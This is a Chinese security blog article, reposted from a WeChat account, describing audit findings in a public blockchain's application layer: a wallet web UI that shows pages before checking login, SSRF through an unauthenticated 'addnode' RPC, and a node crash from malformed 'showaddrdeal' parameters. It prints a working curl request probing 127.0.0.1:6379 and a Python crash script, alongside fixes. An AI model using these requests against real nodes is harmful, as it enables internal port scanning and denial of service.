区块链安全之公链应用层漏洞案例浅析

admin 2025年1月17日09:04:52评论11 views字数 2951阅读9分50秒阅读模式

文章前言

随着区块链技术的快速发展和广泛应用,公链上的应用程序也变得越来越多,然而与传统的应用程序一样,公链自身应用层也面临着各种安全问题和漏洞,公链应用层漏洞是指在公链上开发的应用程序中存在的安全漏洞和弱点,这些漏洞可能会导致恶意攻击者利用系统的弱点进行各种攻击,例如:盗取用户资金、篡改数据、执行恶意合约等,在本文中我们将以几个常见的公链应用层漏洞类型进行介绍并提供简单的示例和说明

攻防案例

WEB UI访问控制

基本介绍

公链前端Web UI(用户界面)是公链应用层中的一个重要组成部分,它提供了用户与公链应用程序进行交互的界面,公链前端Web UI通常以网页形式呈现,用户可以通过网页浏览器访问和操作公链应用

主要功能

公链前端Web UI的功能包括但不限于以下几个方面:

  • 用户账户管理:公链前端Web UI允许用户创建、导入和管理他们的账户,用户可以生成公私钥对、设置密码、备份和恢复账户等操作

  • 资产查看和转账:公链前端Web UI显示用户的资产余额和交易历史,用户可以查看他们的数字货币余额,执行转账操作,发送和接收数字货币

  • 智能合约交互:公链前端Web UI提供与智能合约进行交互的功能,用户可以通过界面调用智能合约的方法、查看合约状态和执行合约交易

  • 交易历史和区块浏览:公链前端Web UI显示公链上的交易历史和区块信息,用户可以查看特定交易的详情,浏览最新的区块和区块链的状态

  • 用户身份验证和安全性:公链前端Web UI提供用户身份验证和安全性措施,确保用户的账户和交易信息的安全,这可能包括密码加密、双重身份验证等安全功能

审计示例

在对某公链进行安全审计时发现公链提供了web UI交互式界面,遂对web界面的安全性进行了黑盒测试,发现未进行身份认证的用户在点击相关功能模块时会优先跳转到该功能模块,之后才会判断当前用户是否已经通过身份认证,如果没有通过会跳转到登录认证页面,同时部分接口存在访问控制缺陷,攻击者可以通过burpsuite让页面优先停留在功能模块页面之后通过调用相关接口来查看敏感信息或者执行敏感操作,下面以wallet为例做说明:
对源代码进行跟踪分析发现,在源代码中的app.controllers.js文件中有一个用于监听页面更改的逻辑设计,但是在这里页面的更新却先于判断用户是否通过认证的逻辑,存在设计缺陷,具体代码如下:

区块链安全之公链应用层漏洞案例浅析

wallet.controller.js逻辑设计

区块链安全之公链应用层漏洞案例浅析

之后对WalletCtrl进行了跟踪分析,在WalletController类中发现对于钱包的各种操作(创建地址账户、删除地址账户、导入地址账户、获取钱包信息等)接口在调用之前未对调用者身份进行认证:
walletControaller处理逻辑:

区块链安全之公链应用层漏洞案例浅析

walletService处理逻辑

区块链安全之公链应用层漏洞案例浅析

未认证的用户点击“wallet”选项会先进入wallet界面后跳转至认证页面:

区块链安全之公链应用层漏洞案例浅析

之后可以好看到钱包的地址账户信息

区块链安全之公链应用层漏洞案例浅析

点击“删除账号,在新弹出的框汇总点击"确认"

区块链安全之公链应用层漏洞案例浅析

之后account#10账号成功删除:

区块链安全之公链应用层漏洞案例浅析

如果攻击者可以物理接触并获取到seed phrase则可以本地web实现转账,无视这里的认证

区块链安全之公链应用层漏洞案例浅析

同时可以创建账号:

区块链安全之公链应用层漏洞案例浅析

也可以查看新建的地址账户:

区块链安全之公链应用层漏洞案例浅析

添加节点处SSRF

风险说明

当公链允许RPC远程调用,且无需认证或认证口令较弱可以通过爆破的方式进行破解的情况下,攻击者可以利用RPC远程“添加节点”的功能进行SSRF攻击,例如通过对特定的IP地址和端口组合结合服务器端响应的时间(端口开放则妙级响应,端口未开放则超时5s响应)探测服务器端私有IP地址的端口开放情况,用于后续攻击测试

漏洞详情

在添加节点RPC接口处未对目标IP地址作限制,攻击者可通过构造特定的IP地址和端口组合并结合服务端响应时间探测服务端私有IP的端口开放情况,用于进一步攻击。
addnode逻辑设计:

区块链安全之公链应用层漏洞案例浅析

请求测试参数

curl --user rubyrpc:BbaEZMi9kbzi9ptK8jNsEKVQUxrQbdVf9ZhUrakoQ8yC --data-binary '{"jsonrpc": "2.0", "id":"rpcaddnode", "method": "addnode", "configs": ["127.0.0.1:6379", "onetry"] }' -H 'content-type: text/plain;' http://192.168.11.192:5112{"result":null,"error":null,"id":"rpcaddnode"}

区块链安全之公链应用层漏洞案例浅析

节点端开启的端口监听成功捕获到请求源:

区块链安全之公链应用层漏洞案例浅析

防御措施

校验目标节点IP地址,防止添加本地循环地址被攻击者用于恶意探测本地开放端口服务,同时远程RPC调用时进行身份认证

RPC参数畸形请求导致DDOS

基本介绍

公链RPC(远程过程调用)接口是公链提供的一种方式,允许外部应用程序通过网络与公链进行通信和交互,RPC接口提供了一组命令和方法,允许开发者查询和操作公链的状态、执行交易、访问智能合约等功能

漏洞简介

之前在做一个公链审计的时候,发现一个有趣的现象,当用户调用Showaddrdeal来查看address,txid等详细交易信息时,如果传入的address为根节点或者传入的txid不存在、为空、非法都会导致根节点直接Crash,很是有意思,后期发现是因为后端未做合法性校验导致的
showaddrdeal逻辑:

区块链安全之公链应用层漏洞案例浅析

测试脚本:

#!/usr/bin/env python3from gevent import pool,monkeymonkey.patch_all()import requestsdef exp():    URL = "http://192.168.11.192:5112"    data = {        "jsonrpc": "2.0",        "method": "showaddrdeal",        "configs":["18qNoDvvfNgCFa29rNVvvM3ZKi1MpsgSZZQUiJ",""],        "id":"rpcshowaddrdeal"   }   s = requests.session()   s.auth = ('xxxrpc','BbaEZMi9kbzi9ptK8jNsEKVQUxrQbdVf9ZhUrakoQ8yC')   response = s.post(url=URL,json=data)   print(response.json())def run():   p = pool.Pool()   for i in range(1):      p.apply_async(exp)      p.join()if __name__ == '__main__':   run()

运行脚本后:

区块链安全之公链应用层漏洞案例浅析

之后远程RPC无法正常调用,被拒绝连接:

区块链安全之公链应用层漏洞案例浅析

修复方法

下面的修复方法是经过后期与客户商议之后一起总结的,后期发现客户的修复没有问题,再次测试未出现相关安全问题:
showaddrdeal新增验证参数为空的验证:

区块链安全之公链应用层漏洞案例浅析

文末小结

本篇文章简单的介绍了一下公链应用层方面的几个安全漏洞示例,主要包括了WEB UI的安全、RPC接口的安全等,从公链源代码进行了简易的刨析,当然公链中还有很多的应用层面的漏洞值得大家去思考和挖掘,例如:RCP的其他安全问题(DOS、鉴权错误、未授权等)、Geth的安全问题、安全策略问题等等,后续再给出~

原文始发于微信公众号(七芒星实验室):区块链安全之公链应用层漏洞案例浅析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月17日09:04:52
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   区块链安全之公链应用层漏洞案例浅析http://cn-sec.com/archives/3637383.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息